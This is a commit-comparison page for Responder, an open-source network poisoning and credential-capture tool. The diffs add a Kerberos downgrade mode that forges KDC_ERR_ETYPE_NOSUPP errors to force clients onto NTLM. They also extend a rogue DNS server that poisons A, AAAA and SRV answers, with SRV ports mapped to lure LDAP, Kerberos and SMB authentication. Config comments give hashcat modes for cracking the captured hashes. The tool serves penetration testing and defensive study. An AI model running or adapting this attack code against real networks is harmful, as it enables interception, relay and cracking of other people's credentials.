Compare commits

...

14 Commits

Author SHA1 Message Date
lgandx
1191936598 updated version number 2026-01-23 21:05:51 -03:00
lgandx
b4a1423875 Changed IPv6 bind logic, now default to local link instead of routable. Can override with -6 .. 2026-01-23 20:47:03 -03:00
lgandx
bb4c041481 DNS TCP binding to all 2026-01-23 20:25:03 -03:00
lgandx
9cda8146df minor update 2026-01-23 20:24:26 -03:00
lgandx
b11946fcb5 removed some debug strings 2026-01-23 20:23:56 -03:00
lgandx
de3eb39b20 removed useless debugging script 2026-01-23 20:23:09 -03:00
lgandx
9234d3b8f7 fixed SRV answer always set to 445. Now has complete mapping.. 2026-01-23 19:08:47 -03:00
lgandx
8bbe77a709 added: bind on IPv6 + fallback to link local in case we don't have a global addr 2026-01-23 18:32:42 -03:00
lgandx
376d2e87d2 Merge branch 'master' of https://github.com/lgandx/Responder 2026-01-07 15:10:43 -03:00
lgandx
683fa6047e updated tips jar 2026-01-07 15:10:19 -03:00
lgandx
1d41902e48 Update README.md
Long overdue README update
2026-01-07 15:05:08 -03:00
lgandx
35e6d70d83 Update README.md 2026-01-07 14:13:39 -03:00
lgandx
b74f42f56a added Kerberos to NTLM downgrade 2026-01-07 12:17:22 -03:00
lgandx
1f7858a223 removed unused functions 2026-01-06 22:37:45 -03:00
9 changed files with 1515 additions and 455 deletions

1173
README.md

File diff suppressed because it is too large Load Diff

View File

@@ -105,6 +105,37 @@ SendRA = Off
; Example: 2001:db8::1
BindToIPv6 =
[Kerberos]
; ======================================================
; Kerberos Operation Mode (NEW FEATURE)
; ======================================================
;
; CAPTURE (default) - Capture Kerberos AS-REP hashes
; - Responds with KDC_ERR_PREAUTH_REQUIRED
; - Client sends encrypted timestamp
; - Responder captures AS-REP hash
; - Crack with: hashcat -m 7500
; - Good for: Stealthy operation, unique Kerberos hashes
;
; FORCE_NTLM - Force client to fall back to NTLM
; - Responds with KDC_ERR_ETYPE_NOSUPP
; - Client abandons Kerberos, tries NTLM
; - Responder's SMB/HTTP captures NetNTLMv2
; - Crack with: hashcat -m 5600
; - Good for: Relay attacks, faster cracking
;
; Choose based on engagement needs:
; - Use CAPTURE for stealth and Kerberos-specific hashes
; - Use FORCE_NTLM for relay attacks or faster cracking
;
; Default: CAPTURE (if not specified)
; ======================================================
KerberosMode = CAPTURE
; Alternative: Force NTLM fallback
;KerberosMode = FORCE_NTLM
[HTTP Server]
; Set to On to always serve the custom EXE

View File

@@ -455,7 +455,7 @@ def main():
if settings.Config.DNS_On_Off:
from servers.DNS import DNS, DNSTCP
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))
threads.append(Thread(target=serve_thread_tcp, args=('', 53, DNSTCP,)))
if settings.Config.SNMP_On_Off:
from servers.SNMP import SNMP

View File

@@ -1249,42 +1249,6 @@ class SMBSessionData(Packet):
self.fields["bcc"] = StructWithLenPython2or3("<h", len(CompleteBCC))
self.fields["PasswordLen"] = StructWithLenPython2or3("<h", len(str(self.fields["AccountPassword"])))
class SMBNegoFingerData(Packet):
fields = OrderedDict([
("separator1","\x02" ),
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("separator2","\x02"),
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
("separator3","\x02"),
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
("separator4","\x02"),
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
("separator5","\x02"),
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
("separator6","\x02"),
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1",""),
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["bcc1"] = StructPython2or3('<h',self.fields["Data"])
class SMBTreeConnectData(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
@@ -2381,113 +2345,3 @@ class RPCNTLMNego(Packet):
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
################### Mailslot NETLOGON ######################
class NBTUDPHeader(Packet):
fields = OrderedDict([
("MessType", "\x11"),
("MoreFrag", "\x02"),
("TID", "\x82\x92"),
("SrcIP", "0.0.0.0"),
("SrcPort", "\x00\x8a"), ##Always 138
("DatagramLen", "\x00\x00"),
("PacketOffset", "\x00\x00"),
("ClientNBTName", ""),
("DstNBTName", ""),
("Data", ""),
])
def calculate(self):
self.fields["SrcIP"] = RespondWithIPAton()
## DatagramLen.
DataGramLen = str(self.fields["PacketOffset"])+str(self.fields["ClientNBTName"])+str(self.fields["DstNBTName"])+str(self.fields["Data"])
self.fields["DatagramLen"] = StructWithLenPython2or3(">h",len(DataGramLen))
class SMBTransMailslot(Packet):
fields = OrderedDict([
("Wordcount", "\x11"),
("TotalParamCount", "\x00\x00"),
("TotalDataCount", "\x00\x00"),
("MaxParamCount", "\x02\x00"),
("MaxDataCount", "\x00\x00"),
("MaxSetupCount", "\x00"),
("Reserved", "\x00"),
("Flags", "\x00\x00"),
("Timeout", "\xff\xff\xff\xff"),
("Reserved2", "\x00\x00"),
("ParamCount", "\x00\x00"),
("ParamOffset", "\x00\x00"),
("DataCount", "\x00\x00"),
("DataOffset", "\x00\x00"),
("SetupCount", "\x03"),
("Reserved3", "\x00"),
("Opcode", "\x01\x00"),
("Priority", "\x00\x00"),
("Class", "\x02\x00"),
("Bcc", "\x00\x00"),
("MailSlot", "\\MAILSLOT\\NET\\NETLOGON"),
("MailSlotNull", "\x00"),
("Padding", "\x00\x00\x00"),
("Data", ""),
])
def calculate(self):
#Padding
if len(str(self.fields["Data"]))%2==0:
self.fields["Padding"] = "\x00\x00\x00\x00"
else:
self.fields["Padding"] = "\x00\x00\x00"
BccLen = str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])+str(self.fields["Data"])
PacketOffsetLen = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved2"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved3"])+str(self.fields["Opcode"])+str(self.fields["Priority"])+str(self.fields["Class"])+str(self.fields["Bcc"])+str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])
self.fields["DataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
self.fields["TotalDataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
self.fields["DataOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
self.fields["ParamOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(BccLen))
class SamLogonResponseEx(Packet):
fields = OrderedDict([
("Cmd", "\x17\x00"),
("Sbz", "\x00\x00"),
("Flags", "\xfd\x03\x00\x00"),
("DomainGUID", "\xe7\xfd\xf2\x4a\x4f\x98\x8b\x49\xbb\xd3\xcd\x34\xc7\xba\x57\x70"),
("ForestName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
("ForestNameNull", "\x00"),
("ForestDomainName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
("ForestDomainNull", "\x00"),
("DNSName", "\x0a\x73\x65\x72\x76\x65\x72\x32\x30\x30\x33"),
("DNSPointer", "\xc0\x18"),
("DomainName", "\x04\x53\x4d\x42\x33"),
("DomainTerminator", "\x00"),
("ServerLen", "\x0a"),
("ServerName", settings.Config.MachineName),
("ServerTerminator", "\x00"),
("UsernameLen", "\x10"),
("Username", settings.Config.Username),
("UserTerminator", "\x00"),
("SrvSiteNameLen", "\x17"),
("SrvSiteName", "Default-First-Site-Name"),
("SrvSiteNameNull", "\x00"),
("Pointer", "\xc0"),
("PointerOffset", "\x5c"),
("DCAddrSize", "\x10"),
("AddrType", "\x02\x00"),
("Port", "\x00\x00"),
("DCAddress", "\xc0\xab\x01\x65"),
("SinZero", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Version", "\x0d\x00\x00\x00"),
("LmToken", "\xff\xff"),
("LmToken2", "\xff\xff"),
])
def calculate(self):
Offset = str(self.fields["Cmd"])+str(self.fields["Sbz"])+str(self.fields["Flags"])+str(self.fields["DomainGUID"])+str(self.fields["ForestName"])+str(self.fields["ForestNameNull"])+str(self.fields["ForestDomainName"])+str(self.fields["ForestDomainNull"])+str(self.fields["DNSName"])+str(self.fields["DNSPointer"])+str(self.fields["DomainName"])+str(self.fields["DomainTerminator"])+str(self.fields["ServerLen"])+str(self.fields["ServerName"])+str(self.fields["ServerTerminator"])+str(self.fields["UsernameLen"])+str(self.fields["Username"])+str(self.fields["UserTerminator"])
DcLen = str(self.fields["AddrType"])+str(self.fields["Port"])+str(self.fields["DCAddress"])+str(self.fields["SinZero"])
self.fields["DCAddress"] = RespondWithIPAton()
self.fields["ServerLen"] = StructWithLenPython2or3("<B",len(str(self.fields["ServerName"])))
self.fields["UsernameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["Username"])))
self.fields["SrvSiteNameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["SrvSiteName"])))
self.fields["DCAddrSize"] = StructWithLenPython2or3("<B",len(DcLen))
self.fields["PointerOffset"] = StructWithLenPython2or3("<B",len(Offset))

View File

@@ -22,8 +22,8 @@
# - MX record poisoning for email client authentication capture
# - SRV record poisoning for service discovery (Kerberos, LDAP, etc.)
# - Logs interesting authentication-related domains
# - Short TTL (60s) to ensure frequent re-queries
# - IPv6 support for modern networks
# - 5 minute TTL for efficient caching
# - Proper IPv6 support (uses -6 option, auto-detects, or skips AAAA)
# - Domain filtering to target specific domains only
#
from utils import *
@@ -105,8 +105,9 @@ class DNS(BaseRequestHandler):
socket_obj.sendto(response, self.client_address)
target_ip = self.get_target_ip(query_type)
print(color('[DNS] Poisoned response: %s -> %s' % (
query_name, target_ip), 2, 1))
if target_ip:
print(color('[DNS] Poisoned response: %s -> %s' % (
query_name, target_ip), 2, 1))
except Exception as e:
if settings.Config.Verbose:
@@ -262,6 +263,14 @@ class DNS(BaseRequestHandler):
if settings.Config.Verbose:
print(color('[DNS] Query matches target domain %s - responding' % target_domain, 3, 1))
# For AAAA queries, only respond if we have a valid IPv6 address
# With link-local fallback, this should almost always succeed
# Only fails if IPv6 is completely disabled on the system
if query_type == 28: # AAAA
ipv6 = self.get_ipv6_address()
if not ipv6:
return False
# Respond to these query types:
# A (1), SOA (6), MX (15), TXT (16), AAAA (28), SRV (33), ANY (255)
# SVCB (64), HTTPS (65) - Service Binding records
@@ -269,13 +278,6 @@ class DNS(BaseRequestHandler):
if query_type not in supported_types:
return False
# Check if domain is in analyze mode targets
# DNS server should not be affected by analyze mode since its not a poisoner, but a rogue DNS server.
#if hasattr(settings.Config, 'AnalyzeMode'):
#if settings.Config.AnalyzeMode:
# In analyze mode, log but don't respond
#return False
# Log interesting queries (authentication-related domains)
query_lower = query_name.lower()
interesting_patterns = ['login', 'auth', 'sso', 'portal', 'vpn', 'mail', 'smtp', 'imap', 'exchange', '_ldap', '_kerberos', '_gc', '_kpasswd', '_msdcs']
@@ -339,23 +341,27 @@ class DNS(BaseRequestHandler):
# Class
response += struct.pack('>H', query_class)
# TTL (short to ensure frequent re-queries)
response += struct.pack('>I', 60) # 60 seconds
# TTL (5 minutes for better caching while still allowing updates)
response += struct.pack('>I', 300) # 300 seconds = 5 minutes
# Get target IP
target_ip = self.get_target_ip(query_type)
# Get target IP for A records
target_ipv4 = self.get_ipv4_address()
if query_type == 1: # A record
# RDLENGTH
response += struct.pack('>H', 4)
# RDATA (IPv4 address)
response += socket.inet_aton(target_ip)
response += socket.inet_aton(target_ipv4)
elif query_type == 28: # AAAA record
# Get proper IPv6 address (already validated in should_respond)
ipv6 = self.get_ipv6_address()
if not ipv6:
return None # Should not happen if should_respond worked
# RDLENGTH
response += struct.pack('>H', 16)
# RDATA (IPv6 address)
ipv6 = self.get_ipv6_address()
response += socket.inet_pton(socket.AF_INET6, ipv6)
elif query_type == 6: # SOA record (Start of Authority)
@@ -413,20 +419,22 @@ class DNS(BaseRequestHandler):
elif query_type == 33: # SRV record (service discovery)
# SRV format: priority, weight, port, target
# Useful for capturing Kerberos, LDAP, etc.
srv_data = struct.pack('>HHH', 0, 0, 445) # priority, weight, port (SMB)
# Determine correct port based on service name in query
srv_port = self.get_srv_port(query_name)
srv_data = struct.pack('>HHH', 0, 0, srv_port) # priority, weight, port
srv_data += b'\xc0\x0c' # Target (pointer to query name)
response += struct.pack('>H', len(srv_data))
response += srv_data
if settings.Config.Verbose:
print(color('[DNS] SRV record poisoned - potential service auth capture', 3, 1))
print(color('[DNS] SRV record poisoned: %s -> port %d' % (query_name, srv_port), 3, 1))
elif query_type == 255: # ANY query
# Respond with A record
response += struct.pack('>H', 4)
response += socket.inet_aton(target_ip)
response += socket.inet_aton(target_ipv4)
elif query_type == 64 or query_type == 65: # SVCB (64) or HTTPS (65) record
# Service Binding records - respond with alias to same domain
@@ -505,55 +513,121 @@ class DNS(BaseRequestHandler):
def get_target_ip(self, query_type):
"""Get the target IP address for spoofed responses"""
# Use Responder's configured IP
if query_type == 28: # AAAA
return self.get_ipv6_address()
else: # A record
return settings.Config.Bind_To
else: # A record and others
return self.get_ipv4_address()
def get_ipv4_address(self):
"""Get IPv4 address for A record responses"""
# Priority 1: Use ExternalIP if set (-e option)
if hasattr(settings.Config, 'ExternalIP') and settings.Config.ExternalIP:
return settings.Config.ExternalIP
# Priority 2: Use Bind_To (default)
return settings.Config.Bind_To
def get_ipv6_address(self):
"""Get IPv6 address for AAAA responses"""
# Priority 1: Use explicitly configured IPv6
if hasattr(settings.Config, 'Bind_To_IPv6') and settings.Config.Bind_To_IPv6:
return settings.Config.Bind_To_IPv6
"""
Get IPv6 address for AAAA responses
# Priority 2: Try to detect actual IPv6 on interface
Returns a valid native IPv6 address.
Priority order:
1. ExternalIP6 (-6 command line option)
2. Bind_To_IPv6 from config file
3. Global IPv6 on interface (auto-detected)
4. Link-local fe80:: on interface (fallback - always available!)
Link-local addresses work for Responder because:
- Responder operates on the local network segment
- Clients on the same segment can reach fe80:: addresses
- fe80:: is always available when IPv6 is enabled
Does NOT return IPv4-mapped addresses (::ffff:x.x.x.x).
"""
# Priority 1: Use ExternalIP6 if set (-6 command line option)
if hasattr(settings.Config, 'ExternalIP6') and settings.Config.ExternalIP6:
ipv6 = settings.Config.ExternalIP6
# Validate it's not an IPv4-mapped address
if not ipv6.startswith('::ffff:'):
return ipv6
# Priority 2: Use Bind_To_IPv6 from config
if hasattr(settings.Config, 'Bind_To_IPv6') and settings.Config.Bind_To_IPv6:
ipv6 = settings.Config.Bind_To_IPv6
if not ipv6.startswith('::ffff:'):
return ipv6
# Priority 3 & 4: Try to auto-detect IPv6 on the interface
# First pass: look for global IPv6
# Second pass: accept link-local fe80::
try:
import netifaces
target_iface = None
# Find interface from IPv4 address
ipv4 = settings.Config.Bind_To
# Find which interface has this IPv4
for iface in netifaces.interfaces():
try:
addrs = netifaces.ifaddresses(iface)
# Check if this interface has our IPv4
if netifaces.AF_INET in addrs:
for addr in addrs[netifaces.AF_INET]:
if addr.get('addr') == ipv4:
# Found the interface, get its global IPv6
if netifaces.AF_INET6 in addrs:
for ipv6_addr in addrs[netifaces.AF_INET6]:
ipv6 = ipv6_addr.get('addr', '').split('%')[0]
# Return first global IPv6 (not link-local fe80::)
if ipv6 and not ipv6.startswith('fe80:'):
return ipv6
target_iface = iface
break
if target_iface:
break
except:
continue
# If no interface found via IPv4, use configured interface
if not target_iface and hasattr(settings.Config, 'Interface') and settings.Config.Interface:
target_iface = settings.Config.Interface
if target_iface:
try:
addrs = netifaces.ifaddresses(target_iface)
if netifaces.AF_INET6 in addrs:
global_ipv6 = None
linklocal_ipv6 = None
for ipv6_addr in addrs[netifaces.AF_INET6]:
ipv6 = ipv6_addr.get('addr', '').split('%')[0] # Remove %interface suffix
if not ipv6 or ipv6.startswith('::ffff:') or ipv6 == '::1':
continue
if ipv6.startswith('fe80:'):
# Link-local - save as fallback
if not linklocal_ipv6:
linklocal_ipv6 = ipv6
else:
# Global IPv6 - preferred
if not global_ipv6:
global_ipv6 = ipv6
# Priority 3: Return global IPv6 if available
if global_ipv6:
return global_ipv6
# Priority 4: Fall back to link-local
if linklocal_ipv6:
return linklocal_ipv6
except:
pass
except ImportError:
pass
except:
pass
pass # netifaces not available
except Exception as e:
pass # IPv6 detection failed silently
# Priority 3: Use IPv4-mapped IPv6 format (::ffff:x.x.x.x)
# This allows dual-stack clients to connect via IPv4
try:
ipv4 = settings.Config.Bind_To
return '::ffff:%s' % ipv4
except:
pass
# Last resort: return IPv6 loopback
return '::1'
# No IPv6 found at all (IPv6 disabled on system)
return None
def get_type_name(self, query_type):
"""Convert query type number to name"""
@@ -573,6 +647,100 @@ class DNS(BaseRequestHandler):
255: 'ANY'
}
return types.get(query_type, 'TYPE%d' % query_type)
def get_srv_port(self, query_name):
"""
Determine the correct port for SRV record responses based on service name.
SRV query format: _service._protocol.name
Examples:
_ldap._tcp.dc._msdcs.domain.local → 389
_kerberos._tcp.domain.local → 88
_gc._tcp.domain.local → 3268
Returns appropriate port for the service, defaults to 445 (SMB) if unknown.
"""
query_lower = query_name.lower()
# Service to port mapping
# Format: (service_pattern, port)
srv_ports = [
# LDAP services
('_ldap._tcp', 389),
('_ldap._udp', 389),
('_ldaps._tcp', 636),
# Kerberos services
('_kerberos._tcp', 88),
('_kerberos._udp', 88),
('_kerberos-master._tcp', 88),
('_kerberos-master._udp', 88),
('_kpasswd._tcp', 464),
('_kpasswd._udp', 464),
('_kerberos-adm._tcp', 749),
# Global Catalog (Active Directory)
('_gc._tcp', 3268),
('_gc._ssl._tcp', 3269),
# Web services
('_http._tcp', 80),
('_https._tcp', 443),
('_http._ssl._tcp', 443),
# Email services
('_smtp._tcp', 25),
('_submission._tcp', 587),
('_imap._tcp', 143),
('_imaps._tcp', 993),
('_pop3._tcp', 110),
('_pop3s._tcp', 995),
# File/Remote services
('_smb._tcp', 445),
('_cifs._tcp', 445),
('_ftp._tcp', 21),
('_sftp._tcp', 22),
('_ssh._tcp', 22),
('_telnet._tcp', 23),
('_rdp._tcp', 3389),
('_ms-wbt-server._tcp', 3389), # RDP
# Windows services
('_winrm._tcp', 5985),
('_winrm-ssl._tcp', 5986),
('_wsman._tcp', 5985),
('_ntp._udp', 123),
# Database services
('_mssql._tcp', 1433),
('_mysql._tcp', 3306),
('_postgresql._tcp', 5432),
('_oracle._tcp', 1521),
# SIP/VoIP
('_sip._tcp', 5060),
('_sip._udp', 5060),
('_sips._tcp', 5061),
# XMPP/Jabber
('_xmpp-client._tcp', 5222),
('_xmpp-server._tcp', 5269),
# Other
('_finger._tcp', 79),
('_ipp._tcp', 631), # Internet Printing Protocol
]
# Check each pattern
for pattern, port in srv_ports:
if query_lower.startswith(pattern):
return port
# Default to SMB port for unknown services
# This is a reasonable default for credential capture
return 445
class DNSTCP(BaseRequestHandler):
"""
@@ -660,8 +828,9 @@ class DNSTCP(BaseRequestHandler):
self.request.sendall(tcp_response)
target_ip = dns_handler.get_target_ip(query_type)
print(color('[DNS-TCP] Poisoned response: %s -> %s' % (
query_name, target_ip), 2, 1))
if target_ip:
print(color('[DNS-TCP] Poisoned response: %s -> %s' % (
query_name, target_ip), 2, 1))
except Exception as e:
if settings.Config.Verbose:

View File

@@ -444,6 +444,85 @@ def build_krb_error(realm, cname, sname=None):
return krb_error
def build_krb_error_force_ntlm(realm, cname, sname=None):
"""
Build KRB-ERROR with KDC_ERR_ETYPE_NOSUPP (14)
This forces the client to fall back to NTLM authentication
Useful when you want NetNTLMv2 hashes instead of Kerberos AS-REP:
- NetNTLMv2 is often faster to crack
- Can be relayed to other services
"""
# Get current time
current_time = time.time()
time_str = time.strftime('%Y%m%d%H%M%SZ', time.gmtime(current_time))
susec = int((current_time - int(current_time)) * 1000000)
# Build sname (server name)
if sname is None:
sname = 'krbtgt'
# Build the inner SEQUENCE
inner = b''
# [0] pvno: 5
inner += b'\xa0\x03\x02\x01\x05'
# [1] msg-type: 30 (KRB-ERROR)
inner += b'\xa1\x03\x02\x01\x1e'
# [4] stime (server time)
time_bytes = time_str.encode('ascii')
inner += b'\xa4' + encode_asn1_length(len(time_bytes) + 2) + b'\x18' + encode_asn1_length(len(time_bytes)) + time_bytes
# [5] susec (microseconds)
susec_bytes = struct.pack('>I', susec)
while len(susec_bytes) > 1 and susec_bytes[0] == 0:
susec_bytes = susec_bytes[1:]
inner += b'\xa5' + encode_asn1_length(len(susec_bytes) + 2) + b'\x02' + encode_asn1_length(len(susec_bytes)) + susec_bytes
# [6] error-code: 14 (KDC_ERR_ETYPE_NOSUPP) - forces NTLM fallback
inner += b'\xa6\x03\x02\x01\x0e'
# [9] realm (server realm)
realm_bytes = realm.encode('ascii')
inner += b'\xa9' + encode_asn1_length(len(realm_bytes) + 2) + b'\x1b' + encode_asn1_length(len(realm_bytes)) + realm_bytes
# [10] sname (server principal name)
sname_str = sname.encode('ascii')
realm_str = realm.encode('ascii')
# Build name-string SEQUENCE
name_string_seq = b''
name_string_seq += b'\x1b' + encode_asn1_length(len(sname_str)) + sname_str
name_string_seq += b'\x1b' + encode_asn1_length(len(realm_str)) + realm_str
# Wrap in SEQUENCE
name_string_wrapped = b'\x30' + encode_asn1_length(len(name_string_seq)) + name_string_seq
name_string_tagged = b'\xa1' + encode_asn1_length(len(name_string_wrapped)) + name_string_wrapped
name_type = b'\xa0\x03\x02\x01\x02'
# Build PrincipalName SEQUENCE
principal_seq = name_type + name_string_tagged
principal_wrapped = b'\x30' + encode_asn1_length(len(principal_seq)) + principal_seq
# Tag [10]
inner += b'\xaa' + encode_asn1_length(len(principal_wrapped)) + principal_wrapped
# [11] e-text (error description)
etext_str = "KDC has no support for encryption type"
etext_bytes = etext_str.encode('ascii')
inner += b'\xab' + encode_asn1_length(len(etext_bytes) + 2) + b'\x1b' + encode_asn1_length(len(etext_bytes)) + etext_bytes
# Wrap in SEQUENCE
sequence = b'\x30' + encode_asn1_length(len(inner)) + inner
# Wrap in APPLICATION 30 tag
krb_error = b'\x7e' + encode_asn1_length(len(sequence)) + sequence
return krb_error
def build_pa_data(realm, cname):
"""
Build PA-DATA sequence for pre-authentication
@@ -571,6 +650,9 @@ class KerbTCP(BaseRequestHandler):
return
if msg_type == 10: # AS-REQ
# Check operation mode
kerberos_mode = getattr(settings.Config, 'KerberosMode', 'CAPTURE')
# Check if client sent PA-DATA
has_padata, etype = find_padata_and_etype(data)
@@ -626,19 +708,45 @@ class KerbTCP(BaseRequestHandler):
if settings.Config.Verbose:
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
else:
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
# Build KRB-ERROR response
krb_error = build_krb_error(realm, cname)
# Send with Record Mark
response = struct.pack('>I', len(krb_error)) + krb_error
self.request.sendall(response)
if settings.Config.Verbose:
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
# First AS-REQ without pre-auth
if kerberos_mode == 'FORCE_NTLM':
# Force NTLM fallback mode
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - forcing NTLM fallback' % (cname, realm), 2, 1))
# Build KRB-ERROR with ETYPE_NOSUPP
krb_error = build_krb_error_force_ntlm(realm, cname)
# Send with Record Mark
response = struct.pack('>I', len(krb_error)) + krb_error
self.request.sendall(response)
if settings.Config.Verbose:
print(color('[KERB] Sent KDC_ERR_ETYPE_NOSUPP - client should fall back to NTLM', 3, 1))
# Log to database
SaveToDb({
'module': 'Kerberos',
'type': 'NTLM-Fallback-Forced',
'client': self.client_address[0],
'user': cname,
'domain': realm,
'fullhash': '%s@%s - NTLM fallback forced' % (cname, realm)
})
else:
# Default CAPTURE mode - send pre-auth required
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
# Build KRB-ERROR response
krb_error = build_krb_error(realm, cname)
# Send with Record Mark
response = struct.pack('>I', len(krb_error)) + krb_error
self.request.sendall(response)
if settings.Config.Verbose:
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
elif msg_type == 12: # TGS-REQ
if settings.Config.Verbose:
@@ -664,6 +772,9 @@ class KerbUDP(BaseRequestHandler):
return
if msg_type == 10: # AS-REQ
# Check operation mode
kerberos_mode = getattr(settings.Config, 'KerberosMode', 'CAPTURE')
# Check if client sent PA-DATA
has_padata, etype = find_padata_and_etype(data)
@@ -715,18 +826,43 @@ class KerbUDP(BaseRequestHandler):
if settings.Config.Verbose:
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
else:
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
# Build KRB-ERROR response
krb_error = build_krb_error(realm, cname)
# Send directly (no Record Mark for UDP)
socket_obj.sendto(krb_error, self.client_address)
if settings.Config.Verbose:
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
# First AS-REQ without pre-auth
if kerberos_mode == 'FORCE_NTLM':
# Force NTLM fallback mode
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - forcing NTLM fallback' % (cname, realm), 2, 1))
# Build KRB-ERROR with ETYPE_NOSUPP
krb_error = build_krb_error_force_ntlm(realm, cname)
# Send directly (no Record Mark for UDP)
socket_obj.sendto(krb_error, self.client_address)
if settings.Config.Verbose:
print(color('[KERB] Sent KDC_ERR_ETYPE_NOSUPP - client should fall back to NTLM', 3, 1))
# Log to database
SaveToDb({
'module': 'Kerberos',
'type': 'NTLM-Fallback-Forced',
'client': self.client_address[0],
'user': cname,
'domain': realm,
'fullhash': '%s@%s - NTLM fallback forced' % (cname, realm)
})
else:
# Default CAPTURE mode - send pre-auth required
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
# Build KRB-ERROR response
krb_error = build_krb_error(realm, cname)
# Send directly (no Record Mark for UDP)
socket_obj.sendto(krb_error, self.client_address)
if settings.Config.Verbose:
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
elif msg_type == 12: # TGS-REQ
if settings.Config.Verbose:

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or

View File

@@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.2.0.0'
__version__ = 'Responder 3.2.1.0'
class Settings:
@@ -231,6 +231,16 @@ class Settings:
else:
self.ExternalResponderIP6 = self.Bind_To6
# Kerberos operation mode: CAPTURE (AS-REP hashes) or FORCE_NTLM (force fallback)
try:
self.KerberosMode = config.get('Kerberos', 'KerberosMode').strip()
if self.KerberosMode not in ['CAPTURE', 'FORCE_NTLM']:
